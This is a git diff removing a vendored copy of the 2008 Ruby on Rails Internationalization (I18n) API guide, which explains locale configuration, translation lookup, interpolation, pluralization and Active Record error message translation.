* -* November 3, 2008: Formatting patch from Dave Rothlisberger -* November 1, 2008: First approved version by Mike Gunderloy -* October 16, 2008: Revised based on feedback from Pratik Naik by Mike Gunderloy (not yet approved for publication) -* October 13, 2008: First complete draft by Mike Gunderloy (not yet approved for publication) -* October 12, 2008: More detail, rearrangement, editing by Mike Gunderloy (not yet approved for publication) -* September 8, 2008: initial version by James Miller (not yet approved for publication)

-
- -
-
- - diff --git a/vendor/rails/railties/doc/guides/html/i18n.html b/vendor/rails/railties/doc/guides/html/i18n.html deleted file mode 100644 index b0d52c0f..00000000 --- a/vendor/rails/railties/doc/guides/html/i18n.html +++ /dev/null @@ -1,1274 +0,0 @@ - - - - - The Rails Internationalization (I18n) API - - - - - - - - -
- - - -
-

The Rails Internationalization (I18n) API

-
-
-

The Ruby I18n (shorthand for internationalization) gem which is shipped with Ruby on Rails (starting from Rails 2.2) provides an easy-to-use and extensible framework for translating your application to a single custom language other than English or for providing multi-language support in your application.

-

The process of "internationalization" usually means to abstract all strings and other locale specific bits (such as date or currency formats) out of your application. The process of "localization" means to provide translations and localized formats for these bits. [1]

-

So, in the process of internationalizing your Rails application you have to:

-
    -
  • -

    -Ensure you have support for i18n -

    -
    • -
  • -

    -Tell Rails where to find locale dictionaries -

    -
    • -
  • -

    -Tell Rails how to set, preserve and switch locale -

    -
    • -
-

In the process of localizing your application you’ll probably want to do following three things:

-
    -
  • -

    -Replace or supplement Rail’s default locale — eg. date and time formats, month names, ActiveRecord model names, etc -

    -
    • -
  • -

    -Abstract texts in your application into keyed dictionaries — eg. flash messages, static texts in your views, etc -

    -
    • -
  • -

    -Store the resulting dictionaries somewhere -

    -
    • -
-

This guide will walk you through the I18n API and contains a tutorial how to internationalize a Rails application from the start.

-
- - - -
-Note -The Ruby I18n framework provides you with all neccessary means for internationalization/localization of your Rails application. You may, however, use any of various plugins and extensions available, which add additional functionality or features. See Rails I18n Wiki for more information.
-
-
-
-

1. How I18n in Ruby on Rails works

-
-

Internationalization is a complex problem. Natural languages differ in so many ways (eg. in pluralization rules) that it is hard to provide tools for solving all problems at once. For that reason the Rails I18n API focuses on:

-
    -
  • -

    -providing support for English and similar languages out of the box -

    -
    • -
  • -

    -making it easy to customize and extend everything for other languages -

    -
    • -
-

As part of this solution, every static string in the Rails framework — eg. Active Record validation messages, time and date formats — has been internationalized, so localization of a Rails application means "over-riding" these defaults.

-

1.1. The overall architecture of the library

-

Thus, the Ruby I18n gem is split into two parts:

-
    -
  • -

    -The public API of the i18n framework — a Ruby module with public methods and definitions how the library works -

    -
    • -
  • -

    -A default backend (which is intentionally named Simple backend) that implements these methods -

    -
    • -
-

As a user you should always only access the public methods on the I18n module, but it is useful to know about the capabilities of the backend.

-
- - - -
-Note -It is possible (or even desirable) to swap the shipped Simple backend with a more powerful one, which would store translation data in a relational database, GetText dictionary, or similar. See section Using different backends below.
-
-

1.2. The public I18n API

-

The most important methods of the I18n API are:

-
-
-
translate         # Lookup text translations
-localize          # Localize Date and Time objects to local formats
-

These have the aliases #t and #l so you can use them like this:

-
-
-
I18n.t 'store.title'
-I18n.l Time.now
-

There are also attribute readers and writers for the following attributes:

-
-
-
load_path         # Announce your custom translation files
-locale            # Get and set the current locale
-default_locale    # Get and set the default locale
-exception_handler # Use a different exception_handler
-backend           # Use a different backend
-

So, let’s internationalize a simple Rails application from the ground up in the next chapters!

-
-

2. Setup the Rails application for internationalization

-
-

There are just a few, simple steps to get up and running with I18n support for your application.

-

2.1. Configure the I18n module

-

Following the convention over configuration philosophy, Rails will set-up your application with reasonable defaults. If you need different settings, you can overwrite them easily.

-

Rails adds all .rb and .yml files from config/locales directory to your translations load path, automatically.

-

See the default en.yml locale in this directory, containing a sample pair of translation strings:

-
-
-
en:
-  hello: "Hello world"
-

This means, that in the :en locale, the key hello will map to Hello world string. Every string inside Rails is internationalized in this way, see for instance Active Record validation messages in the activerecord/lib/active_record/locale/en.yml file or time and date formats in the activesupport/lib/active_support/locale/en.yml file. You can use YAML or standard Ruby Hashes to store translations in the default (Simple) backend.

-

The I18n library will use English as a default locale, ie. if you don’t set a different locale, :en will be used for looking up translations.

-
- - - -
-Note -The i18n library takes pragmatic approach to locale keys (after some discussion), including only the locale ("language") part, like :en, :pl, not the region part, like :en-US or :en-UK, which are traditionally used for separating "languages" and "regional setting" or "dialects". (For instance, in the :en-US locale you would have $ as a currency symbol, while in :en-UK, you would have €. Also, insults would be different in American and British English :) Reason for this pragmatic approach is that most of the time, you usually care about making your application available in different "languages", and working with locales is much simpler this way. However, nothing stops you from separating regional and other settings in the traditional way. In this case, you could eg. inherit from the default en locale and then provide UK specific settings in a :en-UK dictionary.
-
-

The translations load path (I18n.load_path) is just a Ruby Array of paths to your translation files that will be loaded automatically and available in your application. You can pick whatever directory and translation file naming scheme makes sense for you.

-
- - - -
-Note -The backend will lazy-load these translations when a translation is looked up for the first time. This makes it possible to just swap the backend with something else even after translations have already been announced.
-
-

The default environment.rb files has instruction how to add locales from another directory and how to set different default locale. Just uncomment and edit the specific lines.

-
-
-
# The internationalization framework can be changed
-# to have another default locale (standard is :en) or more load paths.
-# All files from config/locales/*.rb,yml are added automatically.
-# config.i18n.load_path << Dir[File.join(RAILS_ROOT, 'my', 'locales', '*.{rb,yml}')]
-# config.i18n.default_locale = :de
-

2.2. Optional: custom I18n configuration setup

-

For the sake of completeness, let’s mention that if you do not want to use the environment.rb file for some reason, you can always wire up things manually, too.

-

To tell the I18n library where it can find your custom translation files you can specify the load path anywhere in your application - just make sure it gets run before any translations are actually looked up. You might also want to change the default locale. The simplest thing possible is to put the following into an initializer:

-
-
-
# in config/initializer/locale.rb
-
-# tell the I18n library where to find your translations
-I18n.load_path << Dir[ File.join(RAILS_ROOT, 'lib', 'locale', '*.{rb,yml}') ]
-
-# set default locale to something else then :en
-I18n.default_locale = :pt
-

2.3. Setting and passing the locale

-

If you want to translate your Rails application to a single language other than English (the default locale), you can set I18n.default_locale to your locale in environment.rb or an initializer as shown above, and it will persist through the requests.

-

However, you would probably like to provide support for more locales in your application. In such case, you need to set and pass the locale between requests.

-
- - - -
-Warning -You may be tempted to store choosed locale in a session or a cookie. Do not do so. The locale should be transparent and a part of the URL. This way you don’t break people’s basic assumptions about the web itself: if you send a URL of some page to a friend, she should see the same page, same content. A fancy word for this would be that you’re being RESTful. Read more about RESTful approach in Stefan Tilkov’s articles. There may be some exceptions to this rule, which are discussed below.
-
-

The setting part is easy. You can set locale in a before_filter in the ApplicationController like this:

-
-
-
before_filter :set_locale
-def set_locale
-  # if params[:locale] is nil then I18n.default_locale will be used
-  I18n.locale = params[:locale]
-end
-

This requires you to pass the locale as a URL query parameter as in http://example.com/books?locale=pt. (This is eg. Google’s approach). So http://localhost:3000?locale=pt will load the Portugese localization, whereas http://localhost:3000?locale=de would load the German localization, and so on. You may skip the next section and head over to the Internationalize your application section, if you want to try things out by manually placing locale in the URL and reloading the page.

-

Of course, you probably don’t want to manually include locale in every URL all over your application, or want the URLs look differently, eg. the usual http://example.com/pt/books versus http://example.com/en/books. Let’s discuss the different options you have.

-
- - - -
-Important -Following examples rely on having locales loaded into your application available as an array of strings like ["en", "es", "gr"]. This is not inclued in current version of Rails 2.2 — forthcoming Rails version 2.3 will contain easy accesor available_locales. (See this commit and background at Rails I18n Wiki.)
-
-

So, for having available locales easily available in Rails 2.2, we have to include this support manually in an initializer, like this:

-
-
-
# config/initializers/available_locales.rb
-#
-# Get loaded locales conveniently
-# See http://rails-i18n.org/wiki/pages/i18n-available_locales
-module I18n
-  class << self
-    def available_locales; backend.available_locales; end
-  end
-  module Backend
-    class Simple
-      def available_locales; translations.keys.collect { |l| l.to_s }.sort; end
-    end
-  end
-end
-
-# You need to "force-initialize" loaded locales
-I18n.backend.send(:init_translations)
-
-AVAILABLE_LOCALES = I18n.backend.available_locales
-RAILS_DEFAULT_LOGGER.debug "* Loaded locales: #{AVAILABLE_LOCALES.inspect}"
-

You can then wrap the constant for easy access in ApplicationController:

-
-
-
class ApplicationController < ActionController::Base
-  def available_locales; AVAILABLE_LOCALES; end
-end
-

2.4. Setting locale from the domain name

-

One option you have is to set the locale from the domain name where your application runs. For example, we want www.example.com to load English (or default) locale, and www.example.es to load Spanish locale. Thus the top-level domain name is used for locale setting. This has several advantages:

-
    -
  • -

    -Locale is an obvious part of the URL -

    -
    • -
  • -

    -People intuitively grasp in which language the content will be displayed -

    -
    • -
  • -

    -It is very trivial to implement in Rails -

    -
    • -
  • -

    -Search engines seem to like that content in different languages lives at different, inter-linked domains -

    -
    • -
-

You can implement it like this in your ApplicationController:

-
-
-
before_filter :set_locale
-def set_locale
-  I18n.locale = extract_locale_from_uri
-end
-# Get locale from top-level domain or return nil if such locale is not available
-# You have to put something like:
-#   127.0.0.1 application.com
-#   127.0.0.1 application.it
-#   127.0.0.1 application.pl
-# in your /etc/hosts file to try this out locally
-def extract_locale_from_tld
-  parsed_locale = request.host.split('.').last
-  (available_locales.include? parsed_locale) ? parsed_locale  : nil
-end
-

We can also set the locale from the subdomain in very similar way:

-
-
-
# Get locale code from request subdomain (like http://it.application.local:3000)
-# You have to put something like:
-#   127.0.0.1 gr.application.local
-# in your /etc/hosts file to try this out locally
-def extract_locale_from_subdomain
-  parsed_locale = request.subdomains.first
-  (available_locales.include? parsed_locale) ? parsed_locale  : nil
-end
-

If your application includes a locale switching menu, you would then have something like this in it:

-
-
-
link_to("Deutsch", "#{APP_CONFIG[:deutsch_website_url]}#{request.env['REQUEST_URI']}")
-

assuming you would set APP_CONFIG[:deutsch_website_url] to some value like http://www.application.de.

-

This solution has aforementioned advantages, however, you may not be able or may not want to provide different localizations ("language versions") on different domains. The most obvious solution would be to include locale code in the URL params (or request path).

-

2.5. Setting locale from the URL params

-

Most usual way of setting (and passing) the locale would be to include it in URL params, as we did in the I18n.locale = params[:locale] before_filter in the first example. We would like to have URLs like www.example.com/books?locale=ja or www.example.com/ja/books in this case.

-

This approach has almost the same set of advantages as setting the locale from domain name: namely that it’s RESTful and in accord with rest of the World Wide Web. It does require a little bit more work to implement, though.

-

Getting the locale from params and setting it accordingly is not hard; including it in every URL and thus passing it through the requests is. To include an explicit option in every URL (eg. link_to( books_url(:locale => I18n.locale) )) would be tedious and probably impossible, of course.

-

Rails contains infrastructure for "centralizing dynamic decisions about the URLs" in its ApplicationController#default_url_options, which is useful precisely in this scenario: it enables us to set "defaults" for url_for and helper methods dependent on it (by implementing/overriding this method).

-

We can include something like this in our ApplicationController then:

-
-
-
# app/controllers/application_controller.rb
-def default_url_options(options={})
-  logger.debug "default_url_options is passed options: #{options.inspect}\n"
-  { :locale => I18n.locale }
-end
-

Every helper method dependent on url_for (eg. helpers for named routes like root_path or root_url, resource routes like books_path or books_url, etc.) will now automatically include the locale in the query string, like this: http://localhost:3001/?locale=ja.

-

You may be satisfied with this. It does impact the readability of URLs, though, when the locale "hangs" at the end of every URL in your application. Moreover, from the architectural standpoint, locale is usually hierarchically above the other parts of application domain: and URLs should reflect this.

-

You probably want URLs look like this: www.example.com/en/books (which loads English locale) and www.example.com/nl/books (which loads Netherlands locale). This is achievable with the "over-riding default_url_options" strategy from above: you just have to set up your routes with path_prefix option in this way:

-
-
-
# config/routes.rb
-map.resources :books, :path_prefix => '/:locale'
-

Now, when you call books_path method you should get "/en/books" (for the default locale). An URL like http://localhost:3001/nl/books should load the Netherlands locale, then, and following calls to books_path should return "/nl/books" (because the locale changed).

-

Of course, you need to take special care of root URL (usually "homepage" or "dashboard") of your application. An URL like http://localhost:3001/nl will not work automatically, because the map.root :controller => "dashboard" declaration in your routes.rb doesn’t take locale into account. (And rightly so. There’s only one "root" URL.)

-

You would probably need to map URLs like these:

-
-
-
# config/routes.rb
-map.dashboard '/:locale', :controller => "dashboard"
-

Do take special care about the order of your routes, so this route declaration does not "eat" other ones. (You may want to add it directly before the map.root declaration.)

-
- - - -
-Important -This solution has currently one rather big downside. Due to the default_url_options implementation, you have to pass the :id option explicitely, like this: link_to Show, book_url(:id => book) and not depend on Rails' magic in code like link_to Show, book. If this should be a problem, have a look on two plugins which simplify working with routes in this way: Sven Fuchs’s routing_filter and Raul Murciano’s translate_routes. See also the page How to encode the current locale in the URL in the Rails i18n Wiki.
-
-

2.6. Setting locale from the client supplied information

-

In specific cases, it would make sense to set locale from client supplied information, ie. not from URL. This information may come for example from users' preffered language (set in their browser), can be based on users' geographical location inferred from their IP, or users can provide it simply by choosing locale in your application interface and saving it to their profile. This approach is more suitable for web-based applications or services, not for websites — see the box about sessions, cookies and RESTful architecture above.

-

2.6.1. Using Accept-Language

-

One source of client supplied information would be an Accept-Language HTTP header. People may set this in their browser or other clients (such as curl).

-

A trivial implementation of using Accept-Language header would be:

-
-
-
def set_locale
-  logger.debug "* Accept-Language: #{request.env['HTTP_ACCEPT_LANGUAGE']}"
-  I18n.locale = extract_locale_from_accept_language_header
-  logger.debug "* Locale set to '#{I18n.locale}'"
-end
-private
-def extract_locale_from_accept_language_header
-  request.env['HTTP_ACCEPT_LANGUAGE'].scan(/^[a-z]{2}/).first
-end
-

Of course, in production environment you would need much robust code, and could use a plugin such as Iaian Hecker’s http_accept_language.

-

2.6.2. Using GeoIP (or similar) database

-

Another way of choosing the locale from client’s information would be to use a database for mapping client IP to region, such as GeoIP Lite Country. The mechanics of the code would be very similar to the code above — you would need to query database for user’s IP, and lookup your preffered locale for the country/region/city returned.

-

2.6.3. User profile

-

You can also provide users of your application with means to set (and possibly over-ride) locale in your application interface, as well. Again, mechanics for this approach would be very similar to the code above — you’d probably let users choose a locale from a dropdown list and save it to their profile in database. Then you’d set the locale to this value.

-
-

3. Internationalizing your application

-
-

OK! Now you’ve initialized I18n support for your Ruby on Rails application and told it which locale should be used and how to preserve it between requests. With that in place, you’re now ready for the really interesting stuff.

-

Let’s internationalize our application, ie. abstract every locale-specific parts, and that localize it, ie. provide neccessary translations for these abstracts.

-

You most probably have something like this in one of your applications:

-
-
-
# config/routes.rb
-ActionController::Routing::Routes.draw do |map|
-  map.root :controller => 'home', :action => 'index'
-end
-
-# app/controllers/home_controller.rb
-class HomeController < ApplicationController
-  def index
-    flash[:notice] = "Hello flash!"
-  end
-end
-
-# app/views/home/index.html.erb
-<h1>Hello world!</h1>
-<p><%= flash[:notice] %></p>
-

-rails i18n demo untranslated -

-

3.1. Adding Translations

-

Obviously there are two strings that are localized to English. In order to internationalize this code, replace these strings with calls to Rails' #t helper with a key that makes sense for the translation:

-
-
-
# app/controllers/home_controller.rb
-class HomeController < ApplicationController
-  def index
-    flash[:notice] = t(:hello_flash)
-  end
-end
-
-# app/views/home/index.html.erb
-<h1><%=t :hello_world %></h1>
-<p><%= flash[:notice] %></p>
-

When you now render this view, it will show an error message which tells you that the translations for the keys :hello_world and :hello_flash are missing.

-

-rails i18n demo translation missing -

-
- - - -
-Note -Rails adds a t (translate) helper method to your views so that you do not need to spell out I18n.t all the time. Additionally this helper will catch missing translations and wrap the resulting error message into a <span class="translation_missing">.
-
-

So let’s add the missing translations into the dictionary files (i.e. do the "localization" part):

-
-
-
# config/locale/en.yml
-en:
-  hello_world: Hello World
-  hello_flash: Hello Flash
-
-# config/locale/pirate.yml
-pirate:
-  hello_world: Ahoy World
-  hello_flash: Ahoy Flash
-

There you go. Because you haven’t changed the default_locale, I18n will use English. Your application now shows:

-

-rails i18n demo translated to english -

-

And when you change the URL to pass the pirate locale (http://localhost:3000?locale=pirate), you’ll get:

-

-rails i18n demo translated to pirate -

-
- - - -
-Note -You need to restart the server when you add new locale files.
-
-

3.2. Adding Date/Time formats

-

OK! Now let’s add a timestamp to the view, so we can demo the date/time localization feature as well. To localize the time format you pass the Time object to I18n.l or (preferably) use Rails' #l helper. You can pick a format by passing the :format option — by default the :default format is used.

-
-
-
# app/views/home/index.html.erb
-<h1><%=t :hello_world %></h1>
-<p><%= flash[:notice] %></p
-<p><%= l Time.now, :format => :short %></p>
-

And in our pirate translations file let’s add a time format (it’s already there in Rails' defaults for English):

-
-
-
# config/locale/pirate.yml
-pirate:
-  time:
-    formats:
-      short: "arrrround %H'ish"
-

So that would give you:

-

-rails i18n demo localized time to pirate -

-
- - - -
-Tip -Right now you might need to add some more date/time formats in order to make the I18n backend work as expected. Of course, there’s a great chance that somebody already did all the work by translating Rails’s defaults for your locale. See the rails-i18n repository at Github for an archive of various locale files. When you put such file(s) in config/locale/ directory, they will automatically ready for use.
-
-

3.3. Organization of locale files

-

When you are using the default SimpleStore, shipped with the i18n library, you store dictionaries in plain-text files on the disc. Putting translations for all parts of your application in one file per locale could be hard to manage. You can store these files in a hierarchy which makes sense to you.

-

For example, your config/locale directory could look like this:

-
-
-
|-defaults
-|---es.rb
-|---en.rb
-|-models
-|---book
-|-----es.rb
-|-----en.rb
-|-views
-|---defaults
-|-----es.rb
-|-----en.rb
-|---books
-|-----es.rb
-|-----en.rb
-|---users
-|-----es.rb
-|-----en.rb
-|---navigation
-|-----es.rb
-|-----en.rb
-
-

This way, you can separate model and model attribute names from text inside views, and all of this from the "defaults" (eg. date and time formats).

-

Other stores for the i18n library could provide different means of such separation.

-

Do check the Rails i18n Wiki for list of tools available for managing translations.

-
-

4. Overview of the I18n API features

-
-

You should have good understanding of using the i18n library now, knowing all neccessary aspects of internationalizing a basic Rails application. In the following chapters, we’ll cover it’s features in more depth.

-

Covered are features like these:

-
    -
  • -

    -looking up translations -

    -
    • -
  • -

    -interpolating data into translations -

    -
    • -
  • -

    -pluralizing translations -

    -
    • -
  • -

    -localizing dates, numbers, currency etc. -

    -
    • -
-

4.1. Looking up translations

-

4.1.1. Basic lookup, scopes and nested keys

-

Translations are looked up by keys which can be both Symbols or Strings, so these calls are equivalent:

-
-
-
I18n.t :message
-I18n.t 'message'
-

translate also takes a :scope option which can contain one or many additional keys that will be used to specify a “namespace” or scope for a translation key:

-
-
-
I18n.t :invalid, :scope => [:active_record, :error_messages]
-

This looks up the :invalid message in the Active Record error messages.

-

Additionally, both the key and scopes can be specified as dot separated keys as in:

-
-
-
I18n.translate :"active_record.error_messages.invalid"
-

Thus the following calls are equivalent:

-
-
-
I18n.t 'active_record.error_messages.invalid'
-I18n.t 'error_messages.invalid', :scope => :active_record
-I18n.t :invalid, :scope => 'active_record.error_messages'
-I18n.t :invalid, :scope => [:active_record, :error_messages]
-

4.1.2. Defaults

-

When a default option is given its value will be returned if the translation is missing:

-
-
-
I18n.t :missing, :default => 'Not here'
-# => 'Not here'
-

If the default value is a Symbol it will be used as a key and translated. One can provide multiple values as default. The first one that results in a value will be returned.

-

E.g. the following first tries to translate the key :missing and then the key :also_missing. As both do not yield a result the string "Not here" will be returned:

-
-
-
I18n.t :missing, :default => [:also_missing, 'Not here']
-# => 'Not here'
-

4.1.3. Bulk and namespace lookup

-

To lookup multiple translations at once an array of keys can be passed:

-
-
-
I18n.t [:odd, :even], :scope => 'active_record.error_messages'
-# => ["must be odd", "must be even"]
-

Also, a key can translate to a (potentially nested) hash as grouped translations. E.g. one can receive all Active Record error messages as a Hash with:

-
-
-
I18n.t 'active_record.error_messages'
-# => { :inclusion => "is not included in the list", :exclusion => ... }
-

4.2. Interpolation

-

In many cases you want to abstract your translations so that variables can be interpolated into the translation. For this reason the I18n API provides an interpolation feature.

-

All options besides :default and :scope that are passed to #translate will be interpolated to the translation:

-
-
-
I18n.backend.store_translations :en, :thanks => 'Thanks {{name}}!'
-I18n.translate :thanks, :name => 'Jeremy'
-# => 'Thanks Jeremy!'
-

If a translation uses :default or :scope as a interpolation variable an I+18n::ReservedInterpolationKey+ exception is raised. If a translation expects an interpolation variable but it has not been passed to #translate an I18n::MissingInterpolationArgument exception is raised.

-

4.3. Pluralization

-

In English there’s only a singular and a plural form for a given string, e.g. "1 message" and "2 messages". Other languages (Arabic, Japanese, Russian and many more) have different grammars that have additional or less plural forms. Thus, the I18n API provides a flexible pluralization feature.

-

The :count interpolation variable has a special role in that it both is interpolated to the translation and used to pick a pluralization from the translations according to the pluralization rules defined by CLDR:

-
-
-
I18n.backend.store_translations :en, :inbox => {
-  :one => '1 message',
-  :other => '{{count}} messages'
-}
-I18n.translate :inbox, :count => 2
-# => '2 messages'
-

The algorithm for pluralizations in :en is as simple as:

-
-
-
entry[count == 1 ? 0 : 1]
-

I.e. the translation denoted as :one is regarded as singular, the other is used as plural (including the count being zero).

-

If the lookup for the key does not return an Hash suitable for pluralization an 18n::InvalidPluralizationData exception is raised.

-

4.4. Setting and passing a locale

-

The locale can be either set pseudo-globally to I18n.locale (which uses Thread.current like, e.g., Time.zone) or can be passed as an option to #translate and #localize.

-

If no locale is passed I18n.locale is used:

-
-
-
I18n.locale = :de
-I18n.t :foo
-I18n.l Time.now
-

Explicitely passing a locale:

-
-
-
I18n.t :foo, :locale => :de
-I18n.l Time.now, :locale => :de
-

I18n.locale defaults to I18n.default_locale which defaults to :en. The default locale can be set like this:

-
-
-
I18n.default_locale = :de
-
-

5. How to store your custom translations

-
-

The shipped Simple backend allows you to store translations in both plain Ruby and YAML format. [2]

-

For example a Ruby Hash providing translations can look like this:

-
-
-
{
-  :pt => {
-    :foo => {
-      :bar => "baz"
-    }
-  }
-}
-

The equivalent YAML file would look like this:

-
-
-
pt:
-  foo:
-    bar: baz
-

As you see in both cases the toplevel key is the locale. :foo is a namespace key and :bar is the key for the translation "baz".

-

Here is a "real" example from the ActiveSupport en.yml translations YAML file:

-
-
-
en:
-  date:
-    formats:
-      default: "%Y-%m-%d"
-      short: "%b %d"
-      long: "%B %d, %Y"
-

So, all of the following equivalent lookups will return the :short date format "%B %d":

-
-
-
I18n.t 'date.formats.short'
-I18n.t 'formats.short', :scope => :date
-I18n.t :short, :scope => 'date.formats'
-I18n.t :short, :scope => [:date, :formats]
-

Generally we recommend using YAML as a format for storing translations. There are cases though where you want to store Ruby lambdas as part of your locale data, e.g. for special date.

-

5.1. Translations for Active Record models

-

You can use the methods Model.human_name and Model.human_attribute_name(attribute) to transparently lookup translations for your model and attribute names.

-

For example when you add the following translations:

-
-
-
en:
-  activerecord:
-    models:
-      user: Dude
-    attributes:
-      user:
-        login: "Handle"
-      # will translate User attribute "login" as "Handle"
-

Then User.human_name will return "Dude" and User.human_attribute_name(:login) will return "Handle".

-

5.1.1. Error message scopes

-

Active Record validation error messages can also be translated easily. Active Record gives you a couple of namespaces where you can place your message translations in order to provide different messages and translation for certain models, attributes and/or validations. It also transparently takes single table inheritance into account.

-

This gives you quite powerful means to flexibly adjust your messages to your application’s needs.

-

Consider a User model with a validates_presence_of validation for the name attribute like this:

-
-
-
class User < ActiveRecord::Base
-  validates_presence_of :name
-end
-

The key for the error message in this case is :blank. Active Record will lookup this key in the namespaces:

-
-
-
activerecord.errors.messages.models.[model_name].attributes.[attribute_name]
-activerecord.errors.messages.models.[model_name]
-activerecord.errors.messages
-

Thus, in our example it will try the following keys in this order and return the first result:

-
-
-
activerecord.errors.messages.models.user.attributes.name.blank
-activerecord.errors.messages.models.user.blank
-activerecord.errors.messages.blank
-

When your models are additionally using inheritance then the messages are looked up for the inherited model class names are looked up.

-

For example, you might have an Admin model inheriting from User:

-
-
-
class Admin < User
-  validates_presence_of :name
-end
-

Then Active Record will look for messages in this order:

-
-
-
activerecord.errors.models.admin.attributes.title.blank
-activerecord.errors.models.admin.blank
-activerecord.errors.models.user.attributes.title.blank
-activerecord.errors.models.user.blank
-activerecord.errors.messages.blank
-

This way you can provide special translations for various error messages at different points in your models inheritance chain and in the attributes, models or default scopes.

-

5.1.2. Error message interpolation

-

The translated model name, translated attribute name, and value are always available for interpolation.

-

-

count, where available, can be used for pluralization if present:

-
- ----- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

validation

with option

message

interpolation

validates_confirmation_of

-

:confirmation

-

validates_acceptance_of

-

:accepted

-

validates_presence_of

-

:blank

-

validates_length_of

:within, :in

:too_short

count

validates_length_of

:within, :in

:too_long

count

validates_length_of

:is

:wrong_length

count

validates_length_of

:minimum

:too_short

count

validates_length_of

:maximum

:too_long

count

validates_uniqueness_of

-

:taken

-

validates_format_of

-

:invalid

-

validates_inclusion_of

-

:inclusion

-

validates_exclusion_of

-

:exclusion

-

validates_associated

-

:invalid

-

validates_numericality_of

-

:not_a_number

-

validates_numericality_of

:greater_than

:greater_than

count

validates_numericality_of

:greater_than_or_equal_to

:greater_than_or_equal_to

count

validates_numericality_of

:equal_to

:equal_to

count

validates_numericality_of

:less_than

:less_than

count

validates_numericality_of

:less_than_or_equal_to

:less_than_or_equal_to

count

validates_numericality_of

:odd

:odd

-

validates_numericality_of

:even

:even

-

-
-

5.1.3. Translations for the Active Record error_messages_for helper

-

If you are using the Active Record error_messages_for helper you will want to add translations for it.

-

Rails ships with the following translations:

-
-
-
en:
-  activerecord:
-    errors:
-      template:
-        header:
-          one:   "1 error prohibited this {{model}} from being saved"
-          other: "{{count}} errors prohibited this {{model}} from being saved"
-        body:    "There were problems with the following fields:"
-

5.2. Overview of other built-in methods that provide I18n support

-

Rails uses fixed strings and other localizations, such as format strings and other format information in a couple of helpers. Here’s a brief overview.

-

5.2.1. ActionView helper methods

-
    -
  • -

    -distance_of_time_in_words translates and pluralizes its result and interpolates the number of seconds, minutes, hours and so on. See datetime.distance_in_words translations. -

    -
    • -
  • -

    -datetime_select and select_month use translated month names for populating the resulting select tag. See date.month_names for translations. datetime_select also looks up the order option from date.order (unless you pass the option explicitely). All date select helpers translate the prompt using the translations in the datetime.prompts scope if applicable. -

    -
    • -
  • -

    -The number_to_currency, number_with_precision, number_to_percentage, number_with_delimiter and humber_to_human_size helpers use the number format settings located in the number scope. -

    -
    • -
-

5.2.2. Active Record methods

-
    -
  • -

    -human_name and human_attribute_name use translations for model names and attribute names if available in the activerecord.models scope. They also support translations for inherited class names (e.g. for use with STI) as explained above in "Error message scopes". -

    -
    • -
  • -

    -ActiveRecord::Errors#generate_message (which is used by Active Record validations but may also be used manually) uses human_name and human_attribute_name (see above). It also translates the error message and supports translations for inherited class names as explained above in "Error message scopes". -

    -
    • -
-

* ActiveRecord::Errors#full_messages prepends the attribute name to the error message using a separator that will be looked up from activerecord.errors.format.separator (and defaults to ' ').

-

5.2.3. ActiveSupport methods

-
    -
  • -

    -Array#to_sentence uses format settings as given in the support.array scope. -

    -
    • -
-
-

6. Customize your I18n setup

-
-

6.1. Using different backends

-

For several reasons the shipped Simple backend only does the "simplest thing that ever could work" for Ruby on Rails [3] ... which means that it is only guaranteed to work for English and, as a side effect, languages that are very similar to English. Also, the simple backend is only capable of reading translations but can not dynamically store them to any format.

-

That does not mean you’re stuck with these limitations though. The Ruby I18n gem makes it very easy to exchange the Simple backend implementation with something else that fits better for your needs. E.g. you could exchange it with Globalize’s Static backend:

-
-
-
I18n.backend = Globalize::Backend::Static.new
-

6.2. Using different exception handlers

-

The I18n API defines the following exceptions that will be raised by backends when the corresponding unexpected conditions occur:

-
-
-
MissingTranslationData       # no translation was found for the requested key
-InvalidLocale                # the locale set to I18n.locale is invalid (e.g. nil)
-InvalidPluralizationData     # a count option was passed but the translation data is not suitable for pluralization
-MissingInterpolationArgument # the translation expects an interpolation argument that has not been passed
-ReservedInterpolationKey     # the translation contains a reserved interpolation variable name (i.e. one of: scope, default)
-UnknownFileType              # the backend does not know how to handle a file type that was added to I18n.load_path
-

The I18n API will catch all of these exceptions when they were thrown in the backend and pass them to the default_exception_handler method. This method will re-raise all exceptions except for MissingTranslationData exceptions. When a MissingTranslationData exception has been caught it will return the exception’s error message string containing the missing key/scope.

-

The reason for this is that during development you’d usually want your views to still render even though a translation is missing.

-

In other contexts you might want to change this behaviour though. E.g. the default exception handling does not allow to catch missing translations during automated tests easily. For this purpose a different exception handler can be specified. The specified exception handler must be a method on the I18n module:

-
-
-
module I18n
-  def just_raise_that_exception(*args)
-    raise args.first
-  end
-end
-
-I18n.exception_handler = :just_raise_that_exception
-

This would re-raise all caught exceptions including MissingTranslationData.

-

Another example where the default behaviour is less desirable is the Rails TranslationHelper which provides the method #t (as well as #translate). When a MissingTranslationData exception occurs in this context the helper wraps the message into a span with the CSS class translation_missing.

-

To do so the helper forces I18n#translate to raise exceptions no matter what exception handler is defined by setting the :raise option:

-
-
-
I18n.t :foo, :raise => true # always re-raises exceptions from the backend
-
-

7. Conclusion

-
-

At this point you hopefully have a good overview about how I18n support in Ruby on Rails works and are ready to start translating your project.

-

If you find anything missing or wrong in this guide please file a ticket on our issue tracker. If you want to discuss certain portions or have questions please sign up to our mailinglist.

-
-

8. Contributing to Rails I18n

-
-

I18n support in Ruby on Rails was introduced in the release 2.2 and is still evolving. The project follows the good Ruby on Rails development tradition of evolving solutions in plugins and real applications first and then cherry-picking the best bread of most widely useful features second for inclusion to the core.

-

Thus we encourage everybody to experiment with new ideas and features in plugins or other libraries and make them available to the community. (Don’t forget to announce your work on our mailinglist!)

-

If you find your own locale (language) missing from our example translations data repository for Ruby on Rails, please fork the repository, add your data and send a pull request.

-
-

9. Resources

-
-
-
-

10. Authors

-
-
-

If you found this guide useful please consider recommending its authors on workingwithrails.

-
-

11. Footnotes

-
-

[1] Or, to quote Wikipedia: "Internationalization is the process of designing a software application so that it can be adapted to various languages and regions without engineering changes. Localization is the process of adapting software for a specific region or language by adding locale-specific components and translating text."

-

[2] Other backends might allow or require to use other formats, e.g. a GetText backend might allow to read GetText files.

-

